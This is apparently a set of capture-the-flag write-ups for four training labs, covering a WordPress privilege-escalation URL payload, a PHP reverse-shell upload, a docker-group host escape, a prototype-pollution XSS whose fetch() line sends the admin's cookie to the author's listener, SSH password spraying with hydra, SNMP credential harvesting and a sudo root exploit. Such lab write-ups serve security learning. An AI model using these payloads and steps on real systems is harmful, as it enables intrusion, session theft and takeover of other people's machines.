HackSmarter Challenge Lab: Free Access - Dark (Easy)

 Here's the link to the lab: https://www.hacksmarter.org/courses/bb164cba-ddc9-4cb0-8e95-ad4853d0143c/take

• Let's connect to VPN
• Ping our  host
• nmap -A our host
• Here we get our first inclination that his is WordPress 6.0 
• 
  
•  
•  It's been a while that I use wpscan, but I do remember it's a thing, one main source of vulnerabilities in WordPress is it's plethora of available plugins. 
• wpscan --url http://10.0.21.199 --api-token APIKEYHERE --enumerate p --plugins-detection mixed 
•  -enumerate p 
• this flag enumerates plugins, and the options are A/VP/P ( All , Vulnerable Plugins, Plugins) wpscan checks it's database and stuff, that's why we need the APIKEY
• You can enumerate more stuff like themes, users, config backups, db exports. 
• A lot of it is mumbo jumbo, while I understand the context I would have to dig a bit deeper.
• I started with --enumerate vp, figuring it would find a vulnerable plugin, but reverted back to P when it did not find something useful.
• --plugins-detection mixed 
• You either do PASSIVE/AGRESSIVE/MIXED detection methods. 
• While wpscan reported a couple of findings, we see a good one to test that includes Privilege Escalation, Unauthenticated one, the ones we love.
• 
•  Time to go digging for CVE-2026-23550
• I'll save you some time. According to this site: https://hurayraiit.com/blog/cve-2026-23550-critical-privilege-escalation-in-wordpress-modular-ds-plugin-cvss-10/#the-poc
• I use this as my payload; https://example.com/api/modular-connector/login/anything?origin=mo&type=foo Let's try it. 
•  Look at that we're in: 
•  It's really crazy how these things work. 
• Now we're in Wordpress as an admin, but that's only a step closer. I know we can probably get a shell with the Themes, maybe even use metasploit and get initial foothold to the OS there. I will come back a bit later and continue.  
• Let's try this one: https://khellwan.medium.com/from-wordpress-setup-to-reverse-shell-8c3be45c009c
• We'll update the IP of this php file https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
• Upload it to our footer-default.php
• Create a listener, save the file, and watch us wet a reverse shell. 
•  
• Now let's explore, usually web stuffz lives in /var/www, if we LS here we see user.txt 
• lets cat it out, and you have your user flag. 
• Other Methods: 
• There's many ways to do this after you have admin on WordPress, you can choose another PHP file to implement your shell in. 
•  You can upload other plugins that provide shell here's an example from GH; https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin
• Now the shell isn't that cool , let's spawn a real shell , or at least a different one
• python3 -c 'import pty; pty.spawn("/bin/bash")' 
•  Explore some more:
•  
• Not sure if this is important.  
•  WHOAMI , I AM not ROOT :( , but I am www-data, and for some reason I am part of the docker group. 
• Rootless docker has been a thing but people usually don't set that up, because why, docker just works.
• Docker
• We're not after priviledge escalation we basically want to get the flag.  
• Let's create a container that mounts / into the container. 

• docker run -it --privileged --name root_access_container -v /:/mnt_host_root ubuntu /bin/bash

•  we can access /mnt_host_root on the container which is really / on the host , from here we can browse to /root/root.txt

•  flag{docker-is-fun-0385}
• But that's not fun let's try and get root.  
• Le'ts try this: 

  wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh

  chmod +x deepce.sh

  ./deepce.sh 

  ./deepce.sh --no-enumeration --exploit DOCKER --command "whoami" 

  •  From here we can run other commands as root, maybe setup another listener on a different port, then reverse shell to that listener as root 

HackSmarter Challenge Lab: Free Access - Polution (Easy)

• https://www.hacksmarter.org/courses/1de73367-b278-41ba-a63c-83c2d510621c
• We'll do our normal VPN thing. 
• Our challenge is: 
• The credentials below mirror a customer. Are you able to elevate your privileges and become an Administrator? 
• After getting nowhere with the browser on port 80/443 I ran NMAP\
• 

• Now we can go to http://x.x.x.x:3000 and log in with the provided credentials
• Don't forget to change the scope in Caido or BurpSuite 

• I can change my cookie from pentester to admin.  
• It reflects on the page but I am not really an admin. 
• There's webmail, and it goes to an admin 
•  let's see if we can make the admin reach out to us, let's start a listener
•  sudo nc -nvlp 80 (nothing exciting here , you don't need a screenshot
•  Then send this over to the admin :
•  
• He clicked on our link
• 
  
•  
This is where I think we can try to steal his cookie, by calling /message?document.cookie or something like that. 
• I opened up my python http server because nc was disconnecting at every connect 
• http://10.200.78.16:8000/message?c=+document.cookie
• I don't get anything though, at least the cookie
•  This is where I cheated, I looked at some writeups, and realized that it's this thing called parameter pollution, long story short I don't know about this. 
• I am looking a bit more about it but it reminds me of PHP Filters. 

• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="alert(1);"/>

  •  This POC shows us that we have XSS with Paramater Pollution

    I wonder if we change the 1 to document.cookie 

   Look at that.  Let's combine that with our XSS that we send to our admin in webmail.
• We'll use this payload
• http://10.1.26.5:3000/dashboard#__proto__.renderCallback=<img src=x onerror="fetch('http://10.200.78.16:9000/?c='+document.cookie)">
• This is our response,  I used different ports not to contaminate my responses
•  
•  Now let's try and use that session in our browser, we are already authenticated as pentester, so we modify our current session in the console the browser

• document.cookie = "session=HS_ADMIN_7721_SECURE_AUTH_TOKEN; path=/";
  document.cookie = "user=admin; path=/";

•  Then we browse into the incident reponse page: 
•  
• What did I learn here, even though this is an EASY lab , it was not easy for me, more Pollution in prototypes for me 
• Update:
• While I still don't feel smart enough to talk about Prototype pollution I used everyone's favorite new thing. AI, I gave it the available script and asked it if it was vulnerable:
• 
•  Magically it said, yep it's susceptible to DOM XSS in the renderCallback Area:
• 
•  It even gave us some POC to try in the For example area. 
• 
•  While I am not too fond of AI, I do see it's advantages at times. 
• UPDATE 2:
• I also tried DOM Invader
• 
•  and while It said that there are Exploit available, when I click exploit I did not get anything. 
• Using both ChatGPT and DomInvader, I can connect some ...(dots), I can see renderCallback is mentioned in both. 

HackSmarter Challenge Lab: Hunter (Easy)

• https://www.hacksmarter.org/courses/19723a54-6e4b-410e-b9e3-371f702e0f5c 
•  We'll do our normal things with VPN. 
• For this lab we are presented with a challenge:
• You need to identify which one is a valid username for the web application. 
• We are provided a list of possible names.  
•  
• There's a sign in page as well as a Forgot password page. 
• We don't get any discernible data when we try to log in or reset the password 
•  We use Caido's automate feature on the Forgot Password page
•  
• Here we see that the user Joey's round trip request took 1055ms , way over the ~300ms for the rest of the users. 
• We're in, that's the challenge.  
•  

HackSmarter Challenge Lab: SysAdmins (Medium) - SysAdminsSYSADM

•  - Connect to VPN
• ping X.X.XX
• 

• nmap -A X.X.X.X
•  

• Let's take a look at ftp on port 21 
• We found something on the FTP Server 
•  
• Let's read/cat it. 
•  Hi team,
  
  We are writing to inform you of a recent data breach that may have affected some of your information.
  
  Last week, a threat actor accessed our systems after compromising a vulnerable web application and exfiltrated some users' passwords, along with usernames and emails.
  
  We strongly recommend that you change your password as soon as possible if your details appear in the data leak published by the attacker at https[:]//pastebin[.]com/mqPMU1cF.
  
  We'll continue to share updates through this channel.
  
  Please do not hesitate to reach out to us if you have any questions.
  
  Our team is working around the clock to deal with this situation, and we really appreciate your patience and understanding.
  
  Kind regards,
  Peter
  Lead Sysadmin 
  
  

• We visit the PasteBin and we see a lot of credentials, this leads me to believe we can password spray after finding usernames.  
•  
• Let's visit Port 80 now
•  We see a nice page where we get some usernames :)
•  
• 

• Let's Password Spray
• We have 3 Users and A lot of passwords 
• hydra -l waserby -P passwords ssh://10.1.137.94
• hydra -l peter -P passwords ssh://10.1.137.94
• hydra -l helena -P passwords ssh://10.1.137.94
• I didn't get anywhere.
• Here I cheated and watch a video, Enumerate more things, UDP Ports. 
• We see SNMP is open.  
• Our online friend used LEGBA

• docker run \
    -v $(pwd):/data \ # shared the current directory as /data inside the container
    --network host \ # docker will use the same network of the host
    -it evilsocket/legba:latest \
    snmp --username waserby --password /data/your-wordlist.txt --target 192.168.1.1

• We are going to use SNMP 
• apt-get install snmp
• snmpwalk itself does not do password spraying , chatgpt to the rescue. 
•  I created this script : 
• https://github.com/TechTucson/Scripting/tree/master/HackSmarter/Challenge/SysAdmin 
• There's more that this needs but it's a start 
• Now we have a username and a password:
• waserby:butterfly 
•  Let's get everything we can from SNMP
• We'll use the same command:
• snmpwalk         -v3         -t 2         -r 1         -l authNoPriv         -u "waserby"         -a MD5         -A "butterfly"         "10.1.137.94"  > EXPORT
• we used the > thingy to send the output to  a file called EXPORT
• We can then cat EXPORT, but there's a lot of stuff in there. 
• let's cat EXPORT | grep password
• or grep ssh
• We get a different set of credentials 
• cat EXPORT | grep pass
  iso.3.6.1.2.1.25.4.2.1.5.930 = STRING: "-c sshpass -p 'PerfectIsTheEnemyOfDone223!' ssh helena@sysadmins; sleep 60" 
• We can then login to ssh
• we see our user flag
• Now it's been a while that i've done PrivEsc but I do remember LinPEas
• scp linpeas.sh helena@10.1.137.94:/home/helena/linpeas.sh
• chmod +x linpeas.sh
• ./linpeas.sh 
•  
• I immediately  focused on the yellow/red and I'll save you some time I did not have initial success
• 
•  I tried PeditCow, DirtyFrag, DirtyClone, I am pretty sure if I kept on trying I would have gotten it. 
• What I did miss was the first red output in LinPeas 
•  
• Look there's a CVE https://github.com/pr0v3rbs/CVE-2025-32463_chwoot
• git clone that sucker
• transfer the .sh file with scp 
• make it executable
• and execute it
•  You are now root
• cd /root
• cat root.txt